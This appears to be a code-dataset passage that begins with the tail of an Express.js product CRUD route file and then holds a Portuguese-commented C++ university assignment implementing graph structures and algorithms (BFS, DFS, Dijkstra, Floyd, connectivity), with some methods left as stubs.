(err) { return res.status(500).json({ ok: false, err }) } if (productoDB.length == 0) { return res.status(400).json({ ok: false, err: { message: 'Producto no encontrado' } }) } res.json({ ok: true, producto: productoDB }) }); }) app.post('/producto', verificaToken, (req, res) => { let body = req.body; let id_user = req.usuario._id let producto = new Producto({ nombre: body.nombre, precioUni: body.precioUni, descripcion: body.descripcion, categoria: body.categoria, usuario: id_user }) producto.save((err, productoDB) => { if (err) { return res.status(500).json({ ok: false, err }) } if (!productoDB) { return res.status(400).json({ ok: false, err: { message: 'error al guardar' } }) } res.status(201).json({ ok: true, producto: productoDB }) }) }) app.put('/producto/:id', verificaToken, (req, res) => { let id = req.params.id; let body = _.pick(req.body, ['nombre', 'precioUni', 'descripcion']) Producto.findByIdAndUpdate(id, body, { new: true }, (err, productoDB) => { if (err) { return res.status(500).json({ ok: false, err }) } res.json({ ok: true, producto: productoDB }) }) }) app.delete('/producto/:id', verificaToken, (req, res) => { let id = req.params.id; Producto.findByIdAndUpdate(id, { disponible: false }, { new: true }, (err, productoDB) => { if (err) { return res.status(500).json({ ok: false, err }) } res.json({ ok: true, producto: productoDB }) }); }) module.exports = app;
53f320f3b8a11d4a1e5af1ed18fd0c42556567f8
[ "JavaScript" ]
1
JavaScript
Walaleitor/node-restserver
4e5e70e25bc415902de2143582b4119700b7d90e
cf25c8623fd6676319d97b686236439001ef1a08
refs/heads/master
<file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /*********************************************************** * Problema - Conjunto Dominate Conexo * ***********************************************************/ #include "ConjuntoDominanteConexo.h" ConjuntoDominanteConexo::ConjuntoDominanteConexo(Grafo *instancia) { if(!instancia->isConexo()){ cout << "Grafo Desconexo - Não é possível gerar um Conjunto Dominante Conexo." << endl; exit(0); } this->instancia = instancia; } ConjuntoDominanteConexo::~ConjuntoDominanteConexo() { this->instancia->~Grafo(); } <file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /*********************************************************** * Problema - Conjunto Dominate Conexo * ***********************************************************/ #ifndef CONJUNTODOMINANTECONEXO_H #define CONJUNTODOMINANTECONEXO_H #include "Grafo.h" class ConjuntoDominanteConexo { public: ConjuntoDominanteConexo(Grafo *instancia); virtual ~ConjuntoDominanteConexo(); private: Grafo *instancia; }; #endif /* CONJUNTODOMINANTECONEXO_H */ <file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /************************************************************ * Definindo os métodos da Aresta * ***********************************************************/ #include "Aresta.h" /** * Construtor da Aresta * @param label */ Aresta::Aresta(int label) { this->label = label; this->peso = 0; this->proximaAresta = nullptr; } /** * Destrutor da Aresta */ Aresta::~Aresta() { if (this->proximaAresta != nullptr) { delete this->proximaAresta; this->proximaAresta = nullptr; } } /** * Retorna o identificador da aresta (nó de destino) * @return int label */ int Aresta::getLabel() { return this->label; } /** * Retorna o peso da aresta * @return float peso */ float Aresta::getPeso() { return this->peso; } /** * Retorna a próxima aresta adjacente ao nó * @return Aresta *proximaAresta */ Aresta * Aresta::getProximaAresta() { return this->proximaAresta; } /** * Armazena o peso da aresta * @param peso */ void Aresta::setPeso(float peso) { this->peso = peso; } /** * Armazena a próxima aresta adjacente ao nó * @param proximaAresta */ void Aresta::setProximaAresta(Aresta* proximaAresta) { this->proximaAresta = proximaAresta; } <file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /************************************************************ * Definindo os métodos do Grafo * ***********************************************************/ #include "Grafo.h" /** * Constrtutor de um objeto Grafo * @param dirigido * @param arestaPonderada * @param noPonderado */ Grafo::Grafo(bool dirigido, bool arestaPonderada, bool noPonderado) { this->dirigido = dirigido; this->arestaPoderada = arestaPonderada; this->noPonderado = noPonderado; this->ultimoNo = this->primeiroNo = nullptr; this->nArestas = 0; this->ordem = 0; } /** * Destrutor do Grafo */ Grafo::~Grafo() { No *prox = this->primeiroNo; while (prox != nullptr) { prox->removerTodasAresta(); No *aux = prox->getProximoNo(); delete prox; prox = aux; } } /** * Retorna o número de nós do grafo * @return int ordem */ int Grafo::getOrdem() { return this->ordem; } /** * Retorna o número de arestas do grafo * @return int nArestas */ int Grafo::getNArestas() { return this->nArestas; } /** * Retorna se o grafo é ou não direcionado * @return bool dirigido */ bool Grafo::getDirigido() { return this->dirigido; } /** * Retorna se o grafo é ou não é ponderado nas arestas * @return bool arestaPonderada */ bool Grafo::getArestaPonderada() { return this->arestaPoderada; } /** * Retorna se o grafo é ou não ponderado nos vértices * @return */ bool Grafo::getNoPonderado() { return this->noPonderado; } /** * Retorna o ponteiro para primeira posição na lista de nós dos grafo * @return */ No *Grafo::getPrimeiroNo() { return this->primeiroNo; } /** * Retorna o ponteiro para o último nó inserido no grafo * @return */ No *Grafo::getUltimoNo() { return this->ultimoNo; } /** * Busca um nó do grafo * @param id * @return */ bool Grafo::buscarNo(int id) { if (this->primeiroNo != nullptr) { for (No*prox = this->primeiroNo; prox != nullptr; prox = prox->getProximoNo()) { if (prox->getId() == id) { return true; } } } return false; } /** * Busca um nó do grafo pelo seu identificador interno * @param idIterno * @return */ bool Grafo::buscarNoIdInterno(int idInterno) { if (this->primeiroNo != nullptr) { for (No*prox = this->primeiroNo; prox != nullptr; prox = prox->getProximoNo()) { if (prox->getIdInterno() == idInterno) { return true; } } } return false; } /** * Retorna um nó buscado * @param id * @return */ No *Grafo::getNo(int id) { if (this->primeiroNo != nullptr) { for (No*prox = this->primeiroNo; prox != nullptr; prox = prox->getProximoNo()) { if (prox->getId() == id) { return prox; } } } return nullptr; } /** * Retorna um nó buscado pelo identificador interno do Nó * @param idInterno * @return */ No *Grafo::getNoIdInterno(int idInterno) { if (this->primeiroNo != nullptr) { for (No*prox = this->primeiroNo; prox != nullptr; prox = prox->getProximoNo()) { if (prox->getIdInterno() == idInterno) { return prox; } } } return nullptr; } /** * Inserir um nó do grafo * @param id */ void Grafo::inserirNo(int id) { //verifica se já existe nó if (this->primeiroNo != nullptr) { //inserir o nó no final da lista No *no = new No(id); no->setIdInterno(this->ordem); this->ultimoNo->setProximoNo(no); this->ultimoNo = no; } else { this->primeiroNo = new No(id); this->primeiroNo->setIdInterno(0); this->ultimoNo = this->primeiroNo; } //atualizar a ordem do grafo this->ordem++; } /** * Inserir aresta * @param id * @param label * @param peso */ void Grafo::inserirAresta(int id, int label, float peso) { //inserir nó se ainda não foi inserido no grafo if (!this->buscarNo(id)) this->inserirNo(id); //inserir nó adjacente se ele ainda não está no grafo if (!this->buscarNo(label)) this->inserirNo(label); No *no = this->getNo(id); no->inserirAresta(label, peso); //grafo direcionado if (this->dirigido) { no->incrementarGrauSaida(); } else {//grafo simples //inserir a aresta no adjacente No *adj = this->getNo(label); adj->inserirAresta(id, peso); adj->incrementarGrau(); no->incrementarGrau(); } //atualizar o número de arestas this->nArestas++; } /** * Remover nó do grafo * @param id */ void Grafo::removerNo(int id) { //excluir somente se o nó existir if (this->buscarNo(id)) { //remoção das arestas if (this->dirigido) { //percorrer toda a lista de nós buscando onde o nó id é nó de origem e exluir a aresta for (No *p = this->primeiroNo; p != nullptr; p = p->getProximoNo()) { //remove e atualiza o número de aresta do grafo if (p->removerAresta(id, this->dirigido)) this->nArestas--; } } else { //removendo a aresta id do nó adjacente ao nó id No *no = this->getNo(id); //percorrer as arestas do nó for (Aresta *p = no->getPrimeiraAresta(); p != nullptr; p = p->getProximaAresta()) { //nó destino No *adj = this->getNo(p->getLabel()); adj->removerAresta(id, this->dirigido); this->nArestas--; } } //remoção do nó e manutenção da lista de nos No *aux = this->primeiroNo; No *anterior = nullptr; while (aux->getId() != id) { anterior = aux; aux = aux->getProximoNo(); } //mantendo a lista if (anterior != nullptr) anterior->setProximoNo(aux->getProximoNo()); else this->primeiroNo = aux->getProximoNo(); if (aux == this->ultimoNo) this->ultimoNo = anterior; if (aux->getProximoNo() == this->ultimoNo) this->ultimoNo = aux->getProximoNo(); aux->removerTodasAresta(); //atualizar a ordem do grafo this->ordem--; //atualizar os id's internos de cada nó No *p = this->primeiroNo; int idInterno = 0; while (p != nullptr) { p->setIdInterno(idInterno); idInterno += 1; p = p->getProximoNo(); } } } /** * Imprime todos os nós com suas arestas na tela */ void Grafo::imprimir() { if (this->primeiroNo != nullptr) { No *p = this->primeiroNo; //percorrendo a lista de nó while (p != nullptr) { cout << p->getId() << "(" << p->getIdInterno() << ")" << ": "; //imprimir as arestas Aresta *a = p->getPrimeiraAresta(); while (a != nullptr) { cout << a->getLabel() << "->"; a = a->getProximaAresta(); } cout << "" << endl; p = p->getProximoNo(); } } else { cout << "Grafo nulo"; } } /** * Realiza uma cópia da estrutura do grafo * @return */ Grafo *Grafo::clone() { if (this->primeiroNo != nullptr) { Grafo * g = new Grafo(this->dirigido, this->arestaPoderada, this->noPonderado); No *p = this->primeiroNo; while (p != nullptr) { g->inserirNo(p->getId()); Aresta *a = p->getPrimeiraAresta(); No* no = g->getNo(p->getId()); no->setGrau(p->getGrau()); while (a != nullptr) { if (!g->getArestaPonderada() && !g->getNoPonderado()) { no->inserirAresta(a->getLabel(), 0); } else if (g->getArestaPonderada() && !g->getNoPonderado()) { no->inserirAresta(a->getLabel(), a->getPeso()); } else if (g->getNoPonderado() && !g->getArestaPonderada()) { no->setPeso(p->getPeso()); no->inserirAresta(a->getLabel(), 0); } else if (g->getArestaPonderada() && g->getNoPonderado()) { no->setPeso(p->getPeso()); no->inserirAresta(a->getLabel(), a->getPeso()); } a = a->getProximaAresta(); } p = p->getProximoNo(); } return g; } else { cout << "Grafo nulo"; return nullptr; } } /** * Caminhamento em largura * @param id */ void Grafo::buscaBFS(int id) { if (this->primeiroNo == nullptr) { cout << "Grafo nulo" << endl; } else if (!this->buscarNo(id)) { cout << "Vértice não encontrado." << endl; } else { queue<No*> fila; int visitados[this->getOrdem()], cont = 1; for (int i = 0; i < this->getOrdem(); i++) visitados[i] = -1; //iniciar a visita do primeiro nó No *no = this->getNo(id); fila.push(no); //marcar o nó p como visitado visitados[no->getIdInterno()] = cont; //percorrendo a lista de nó while (!fila.empty()) { //visitar os vizinhos que ainda não foram visitados No *p = fila.front(); Aresta *a = p->getPrimeiraAresta(); while (a != nullptr) { No *v = this->getNo(a->getLabel()); if (visitados[v->getIdInterno()] == -1) { fila.push(v); cont++; visitados[v->getIdInterno()] = cont; } a = a->getProximaAresta(); } //desenfileira fila.pop(); } //imprimir os vértices visitados cout << "Nós visitados a partir do vértice " << id << ": " << endl; No *v; for (int i = 0; i < this->getOrdem(); i++) { if (visitados[i] > -1) { v = this->getNoIdInterno(i); if (v != nullptr) cout << this->getNoIdInterno(i)->getId() << "(" << visitados[i] << "º)" << endl; } } } } /** * Imprime a busca em profundidade a partir do nó buscado * @param id * @return */ void Grafo::buscaDFS(int id) { if (this->primeiroNo == nullptr) { cout << "Grafo nulo" << endl; } else if (!this->buscarNo(id)) { cout << "Vértice não encontrado." << endl; } else { int visitados[this->getOrdem()], cont = 1; for (int i = 0; i < this->getOrdem(); i++) visitados[i] = -1; //iniciar a busca this->dfs(id, visitados, cont); //imprimir os vértices visitados cout << "Nós visitados a partir do vértice " << id << ": " << endl; No *v; for (int i = 0; i < this->getOrdem(); i++) { if (visitados[i] > -1) { v = this->getNoIdInterno(i); if (v != nullptr) cout << this->getNoIdInterno(i)->getId() << "(" << visitados[i] << "º)" << endl; } } } } /** * Realiza a busca em profundidade dos nós * @param id * @param visitados * @param cont * @return */ void Grafo::dfs(int id, int *visitados, int cont) { No *p = this->getNo(id); Aresta *a = p->getPrimeiraAresta(); //Marcar o nó como visitado int i = p->getIdInterno(); visitados[i] = cont; //visitar seus vizinhos while (a != nullptr) { //atualizar o i No *noAresta = this->getNo(a->getLabel()); i = noAresta->getIdInterno(); if (visitados[i] == -1) dfs(noAresta->getId(), visitados, cont + 1); a = a->getProximaAresta(); } } /** * Imprime o id de todo nó alcançavel pelo no de id passado * @param id */ void Grafo::fechoTransitivoDireto(int id) { if (this->primeiroNo == nullptr) { cout << "Grafo nulo" << endl; } else if (!this->getDirigido()) { cout << "Grafo não orientado." << endl; } else if (!this->buscarNo(id)) { cout << "Vértice não encontrado." << endl; } else { cout << "Fecho transitivo direto do nó " << id << ":" << endl; No* p = this->getNo(id); Aresta* a = p->getPrimeiraAresta(); while (a != (p->getUltimaAresta()->getProximaAresta())) { cout << "No: " << a->getLabel() << endl; a = a->getProximaAresta(); } } } /** * Imprime todo nó que pode alcançar o nó de id por um caminho direcionado * @param id */ void Grafo::fechoTransitivoIndireto(int id) { if (this->primeiroNo == nullptr) { cout << "Grafo nulo" << endl; } else if (!this->getDirigido()) { cout << "Grafo não orientado." << endl; } else if (!this->buscarNo(id)) { cout << "Vértice não encontrado." << endl; } else { cout << "Fecho transitivo indireto do nó " << id << ":" << endl; No* busca = this->primeiroNo; Aresta* a = busca->getPrimeiraAresta(); while (busca != nullptr) { while (a != (busca->getUltimaAresta()->getProximaAresta())) { if (a->getLabel() == id) cout << "No: " << busca->getId() << endl; a = a->getProximaAresta(); } busca = busca->getProximoNo(); a = busca->getPrimeiraAresta(); } } } /** * Imprime o caminho mínimo entre dois vértices e cancula seu custo pelo * algoritmo de Djikstra * * @param origem * @param destino */ void Grafo::caminhoMinimoDjikstra(int origem, int destino) { if (origem == destino) { cout << "Origem e destino coicidem, portanto a distancia é 0" << endl; } else if (!this->buscarNo(origem) || !this->buscarNo(destino)) { cout << "Pelo menos um dos vértices não está no grafo" << endl; } else { //definição do valor infinito float INFINITO = float(std::numeric_limits<int>::max()); //vetor de custos float distancias[this->getOrdem()]; //vetor de visitados para não expandir um nó ja visitado int visitados[this->getOrdem()]; //fila de prioridade queue<No*> fila; //incializar o vetor de custos for (int i = 0; i < this->getOrdem(); i++) { distancias[i] = INFINITO; visitados[i] = 0; } //distancia da origem para origem é 0 distancias[origem] = 0; //inserir o vértice de origem na fila fila.push(this->getNo(origem)); //percorrendo a lista de nó while (!fila.empty()) { //vertice a ser expandido No *p = fila.front(); //desenfileira fila.pop(); // verifica se o vértice não foi expandido if (visitados[p->getId()] == 0) { visitados[p->getId()] = 1; //percorrer seus adjacentes Aresta *a = p->getPrimeiraAresta(); while (a != nullptr) { //relaxamento (p,a) if (distancias[a->getLabel()] > (distancias[p->getId()] + a->getPeso())) { //atualizar a distância distancias[a->getLabel()] = distancias[p->getId()] + a->getPeso(); //inserir na fila fila.push(this->getNo(a->getLabel())); } a = a->getProximaAresta(); } } } cout << "O menor caminho entre o No[" << origem << "] e o No[" << destino << "] é: " << distancias[destino] << endl; } } /** * Imprime o caminho mínimo entre dois vértices e calcula seu custo pelo * algoritmo de Floyd * * @param origem * @param destino */ void Grafo::caminhoMinimoFloyd(int origem, int destino) { if (origem == destino) { cout << "O caminho entre nos coincidentes custo: 0" << endl; } else { No* aux1; //no auxiliar float Floyd[this->getOrdem()][this->getOrdem()]; //Matriz dos pesos do algoritmo de Floyd float INFINITO = float(std::numeric_limits<int>::max()); Aresta* a; for (int i = 0; i < this->getOrdem(); i++) { aux1 = this->getNo(i); for (int j = 0; j < this->getOrdem(); j++) { if (aux1->buscarAresta(j)) { a = aux1->getAresta(j); Floyd[i][j] = a->getPeso(); //Colocando o custo no caminho dos adjacentes; } else { Floyd[i][j] = INFINITO; //custo infinito para nao adjacentes } } } for (int k = 0; k < this->getOrdem(); k++) for (int i = 0; i < this->getOrdem(); i++) for (int j = 0; j < this->getOrdem(); j++) Floyd[i][j] = min(Floyd[i][j], Floyd[i][k] + Floyd[k][j]); cout << "O menor caminho entre o No[" << origem << "] e o No[" << destino << "] e: " << Floyd[origem][destino] << endl; } } /** * Dado um grafo não orientado a função retorna o conjunto de n-1 arestas que * conectam todos os nós do grafo e cujo o peso somatório dos pesoso das arestas * é mínimo usando o algoritimo de Prim * @return */ Grafo* Grafo::arvoreGeradoraMinimaPrim() { } /** * Ordena as arestas pelo peso * @param vetor * @param n */ void Grafo::ordenaArestaPeso(Aresta *vetor, int n) { } /** * Dado um grafo não orientado a função retorna o conjunto de n-1 arestas que * conectam todos os nós do grafo e cujo o peso somatório dos pesoso das arestas * é mínimo usando o algoritimo Kruskall * @return */ Grafo* Grafo::arvoreGeradoraMinimaKruskall() { } /** * Esta funcção calcula o fecho triadico do grafo e o coeficiente de agrupamento */ void Grafo::fechoTriadico() { int abertos = 0; //quantidade de fechos abertos int triadicos = 0; //quantidade de fechos triadicos No* p, *q, *r; //nos para a avaliacao for (int i = 0; i < this->getOrdem(); i++) { p = this->getNo(i); if (p != nullptr) { for (int j = 0; j < this->getOrdem(); j++) { q = this->getNo(j); for (int k = 0; k < this->getOrdem(); k++) { r = this->getNo(k); if (p->buscarAresta(j) && p->buscarAresta(k)&&(i != k)&&(i != j)&&(j != k))//tres nos diferentes onde dois deles possuem um vizinho comum { abertos++; if (q->buscarAresta(k))//os nos com vizinho comum sao vizinhos entre si triadicos++; } } } } } float total = triadicos + abertos; float coeficienteAgrupamento = triadicos / total; //relacao entre triadicos e abertos cout << triadicos << " fechos triadicos;" << endl; cout << abertos << " fechos abertos;" << endl; cout << "Coeficiente de agrupamento: " << coeficienteAgrupamento << endl; } /** * Verifica se o grafo é completo * @return */ bool Grafo::isCompleto() { int maxArestas = (ordem * (ordem - 1)) / 2; if (maxArestas == nArestas) return true; else return false; } /** * Verifica se o grafo é conexo * @return */ bool Grafo::isConexo() { if (this->isCompleto()) return true; int visitados[this->getOrdem()], cont = 1; for (int i = 0; i < this->getOrdem(); i++) visitados[i] = -1; //iniciar a busca a partir do primeiro nó do grafo this->dfs(this->primeiroNo->getId(), visitados, cont); //total de nós visitados int total = 0; for (int i = 0; i < this->getOrdem(); i++) { if (visitados[i] > -1) { total++; } } if (total == getOrdem()) { return true; } return false; } /** * Verifica se um grafo é nulo * @return */ bool Grafo::nulo() { if (this->primeiroNo == nullptr || this->ordem == 0 && this->nArestas == 0) return true; return false; } /** * Verifica se um nó é nó de articulação * @param id * @return */ bool Grafo::isNoArticulacao(int id) { if (!this->buscarNo(id)) return false; else { //Criar uma cópia do grafo Grafo *g = this->clone(); if (!g->nulo()) { //remover o grafo g->removerNo(id); //consegui alcançar todos os nós após remover id? Grafo é conexo, logo id não é de articulação if (g->isConexo()) { return false; } else { return true; } } else { cout << "Grafo nulo." << endl; return 0; } } }<file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /************************************************************ * Implementação do TAD Grafo * ***********************************************************/ #ifndef GRAFO_H #define GRAFO_H #include <iostream> #include <valarray> #include <queue> #include "Aresta.h" #include "No.h" #include "Grafo.h" using namespace std; class Grafo { public: //Construtor Grafo(bool dirigido, bool arestaPonderada, bool noPonderado); //Destrutor ~Grafo(); //Gets int getOrdem(); int getNArestas(); bool getDirigido(); bool getArestaPonderada(); bool getNoPonderado(); No *getPrimeiroNo(); No *getUltimoNo(); No *getNo(int id); No *getNoIdInterno(int idIdInterno); //Outros métodos bool buscarNo(int id); bool buscarNoIdInterno(int idInterno); void inserirNo(int id); void inserirAresta(int id, int label, float peso); void removerNo(int id); void imprimir(); Grafo *clone(); void buscaBFS(int id); void buscaDFS(int id); void fechoTransitivoDireto(int id); void fechoTransitivoIndireto(int id); void caminhoMinimoDjikstra(int origem, int destino); void caminhoMinimoFloyd(int origem, int destino); Grafo *arvoreGeradoraMinimaKruskall(); Grafo *arvoreGeradoraMinimaPrim(); void fechoTriadico(); bool nulo(); bool isConexo(); bool isCompleto(); bool isNoArticulacao(int id); private: //Atributos int ordem; int nArestas; bool dirigido; bool arestaPoderada; bool noPonderado; No* primeiroNo; No* ultimoNo; void dfs(int id, int *visitados, int cont); void ordenaArestaPeso(Aresta *vetor, int n); }; #endif /* GRAFO_H */ <file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /************************************************************ * Implementação do TAD Aresta * ***********************************************************/ #ifndef ARESTA_H #define ARESTA_H #include <iostream> using namespace std; class Aresta { public: //Construtor Aresta(int label); //Destrutor ~Aresta(); //Gets int getLabel(); float getPeso(); Aresta *getProximaAresta(); //Sets void setPeso(float peso); void setProximaAresta(Aresta *proximaAresta); private: int label; float peso; Aresta *proximaAresta; }; #endif /* ARESTA_H */ <file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /************************************************************ * Implementação do TAD No * ***********************************************************/ #ifndef NO_H #define NO_H #include <iostream> #include "Aresta.h" using namespace std; class No { public: //Contrutor No(int id); //Destrutor ~No(); //Gets int getId(); int getIdInterno(); float getPeso(); unsigned int getGrau(); unsigned int getGrauSaida(); Aresta *getPrimeiraAresta(); Aresta *getUltimaAresta(); No *getProximoNo(); Aresta *getAresta(int label); //Sets void setIdInterno(int idInterno); void setGrau(int grau); void setPeso(float peso); void setProximoNo(No *proximoNo); //Outros métodos bool buscarAresta(int label); void inserirAresta(int label, float peso); bool removerAresta(int label, bool dirigido); void removerTodasAresta(); void incrementarGrau(); void incrementarGrauSaida(); void decrementarGrau(); void decrementarGrauSaida(); private: int id; int idInterno; float peso; unsigned int grau; unsigned int grauSaida; Aresta *primeiraAresta; Aresta *ultimaAresta; No* proximoNo; }; #endif /* NO_H */ <file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ /************************************************************ * Definindo os métodos do Nó * ***********************************************************/ #include "No.h" /** * Contruturor do Nó * @param id */ No::No(int id) { this->id = id; this->idInterno = 0; this->peso = 0; this->grau = 0; this->grauSaida = 0; this->primeiraAresta = nullptr; this->ultimaAresta = nullptr; this->proximoNo = nullptr; } /** * Destrtutor do Nó */ No::~No() { Aresta *proxima = this->primeiraAresta; while (proxima != nullptr) { Aresta *aux = proxima->getProximaAresta(); delete proxima; proxima = aux; } } /** * Retorna o identificador do nó * @return int id */ int No::getId() { return this->id; } /** * Retorna o identificador interno do nó * @return int idInterno */ int No::getIdInterno() { return this->idInterno; } /** * Retorna o peso do nó * @return float peso */ float No::getPeso() { return this->peso; } /** * Retorna o grau do nó (em caso de grafo direcionado representa o grau * de entrada) * @return unsigned int grau */ unsigned int No::getGrau() { return this->grau; } /** * Retorna o grau dde saída de um nó * @return unsigned int grauSaida */ unsigned int No::getGrauSaida() { return this->grauSaida; } /** * Retorna a primeira aresta adjacente ao nó * @return Aresta *primeiraAresta */ Aresta *No::getPrimeiraAresta() { return this->primeiraAresta; } /** * Retorna a última aresta adjacente ao nó * @return Aresta *primeiraAresta */ Aresta *No::getUltimaAresta() { return this->ultimaAresta; } /** * Retorna o próximo nó * @return No *proximoNo */ No *No::getProximoNo() { return this->proximoNo; } /** * Armazena o identificador interno do nó * @param idInterno */ void No::setIdInterno(int idInterno) { this->idInterno = idInterno; } /** * Armazena o grau do nó (utilizado para copiar o grafo) * @param grau */ void No::setGrau(int grau) { this->grau = grau; } /** * Armazena o peso do nó * @param peso */ void No::setPeso(float peso) { this->peso = peso; } /** * Armazena o próximo nó * @param proximoNo */ void No::setProximoNo(No* proximoNo) { this->proximoNo = proximoNo; } /** * Busca se uma aresta existe na lista de adjacência * @param label * @return bool true|false */ bool No::buscarAresta(int label) { //verifica se a lista de arestas adjacentes está vazia if (this->primeiraAresta != nullptr) { //percorrendo a lista a partir da primeira aresta for (Aresta *prox = this->primeiraAresta; prox != nullptr; prox = prox->getProximaAresta()) { if (prox->getLabel() == label) return true; } } return false; } /** * Retorna uma aresta da lista de adjacência * @param label * @return Aresta *aresta */ Aresta *No::getAresta(int label) { //verifica se a lista de arestas adjacentes está vazia if (this->primeiraAresta != nullptr) { //percorrendo a lista a partir da primeira aresta for (Aresta *prox = this->primeiraAresta; prox != nullptr; prox = prox->getProximaAresta()) { if (prox->getLabel() == label) return prox; } } return nullptr; } /** * Inserir uma nova aresta adjacente ao nó * @param label * @param peso */ void No::inserirAresta(int label, float peso) { //verifica se já existe aresta if (this->primeiraAresta != nullptr) { //cria uma nova aresta Aresta *aresta = new Aresta(label); aresta->setPeso(peso); //aloca a aresta criada na última posição da lista de arestas this->ultimaAresta->setProximaAresta(aresta); this->ultimaAresta = aresta; } else { //se é a primeira aresta this->primeiraAresta = new Aresta(label); this->primeiraAresta->setPeso(peso); this->ultimaAresta = this->primeiraAresta; } } /** * Remove a aresta adjacente ao nó * @param id * @param dirigido * @return */ bool No::removerAresta(int label, bool dirigido) { //se a aresta existir vamos excluir if (this->buscarAresta(label)) { Aresta *aux = this->primeiraAresta; Aresta *anterior = nullptr; //percorrer a lista de arestas while (aux->getLabel() != label) { anterior = aux; aux = aux->getProximaAresta(); } //mantendo a lista if (anterior != nullptr) anterior->setProximaAresta(aux->getProximaAresta()); else this->primeiraAresta = aux->getProximaAresta(); if (aux == this->ultimaAresta) this->ultimaAresta = anterior; if (aux->getProximaAresta() == this->ultimaAresta) this->ultimaAresta = aux->getProximaAresta(); //delete aux; //verificando se o grafo é direcionado if (dirigido) { this->decrementarGrauSaida(); } else { this->decrementarGrau(); } return true; } return false; } /** * Remove todas as arestas do nó */ void No::removerTodasAresta() { if (this->primeiraAresta != nullptr) { Aresta *prox = this->primeiraAresta; while (prox != nullptr) { Aresta *aux = prox->getProximaAresta(); delete prox; prox = aux; } //atualizar o grau do nó this->grauSaida = this->grau = 0; //atualizar o ponteiro da lista de adjacentes this->primeiraAresta = this->ultimaAresta = nullptr; } } /** * Incrementa em uma unidade o grau do nó */ void No::incrementarGrau() { this->grau++; } /** * Incrementa em uma unidade o grau do nó */ void No::incrementarGrauSaida() { this->grauSaida++; } /** * Decrementa o grau do nó em uma unidade */ void No::decrementarGrau() { this->grau--; } /** * Decrementa o grau de saída em uma unidade */ void No::decrementarGrauSaida() { this->grauSaida--; }<file_sep># Trabalho de Teoria dos Grafos - Parte 1 **Universidade Federal de Juiz de Fora - UFJF** **Instituto de Ciências Exatas** **Departamento de Ciência da Computação** **Disciplina:** DCC059 – Teoria dos Grafos Período: 2019-3 **Professor:** <NAME> **Aluna:** * <NAME> - <EMAIL> * <NAME> ## Orientações para compilar ## Deve ser passado 2 argumentos para iniciar o programa, são eles: 1. Arquivo de Entrada - Contém a instância de um grado 2. Arquivo de Saída - Arquivo onde os resultados devem ser impressos Executar: 1. Vai pelo terminal até a pasta que você salvou e digite para compilar: `g++ main.cpp -o meuPrograma` 2. Para executar: `./meuPrograma arquivo_entrada.txt arquivo_saida.txt dirigido ponderado_aresta ponderado_no` <file_sep>/************************************************************ * Universidade Federal de Juiz de Fora - UFJF * * Instituto de Ciências Exatas * * Departamento de Ciência da Computação * * Disciplina: DCC059 – Teoria dos Grafos Período: 2019-3 * * Professor: <NAME> * * Aluno(s): <NAME> * * <NAME> * * * * TRABALHO PRÁTICO GRUPO 13 * ************************************************************/ #include <fstream> #include "Grafo.h" /** * Realiza a leitura do arquivo e transforma em um grafo * @param arquivo * @param dirigido * @param arestaPonderada * @param noPonderado * @return */ Grafo *leitura(ifstream& arquivo, int dirigido, int arestaPonderada, int noPonderado, int inicioGrafo) { //Variáveis auxiliares int ordem; int idNoOrigem; int idNoDestino; //Leitura da Ordem do grafo if (inicioGrafo == 0) arquivo >> ordem; //leitura a partir da segunda linha do arquivo //Criação do Grafo Grafo *grafo = new Grafo(dirigido, arestaPonderada, noPonderado); //Leitura do arquivo if (!grafo->getArestaPonderada() && !grafo->getNoPonderado()) { while (arquivo >> idNoOrigem >> idNoDestino) { grafo->inserirAresta(idNoOrigem, idNoDestino, 0); } } else if (grafo->getArestaPonderada() && !grafo->getNoPonderado()) { float pesoAresta; while (arquivo >> idNoOrigem >> idNoDestino >> pesoAresta) { grafo->inserirAresta(idNoOrigem, idNoDestino, pesoAresta); } } else if (grafo->getNoPonderado() && !grafo->getArestaPonderada()) { float pesoNoOrigem, pesoNoDestino; while (arquivo >> idNoOrigem >> pesoNoOrigem >> idNoDestino >> pesoNoDestino) { grafo->inserirAresta(idNoOrigem, 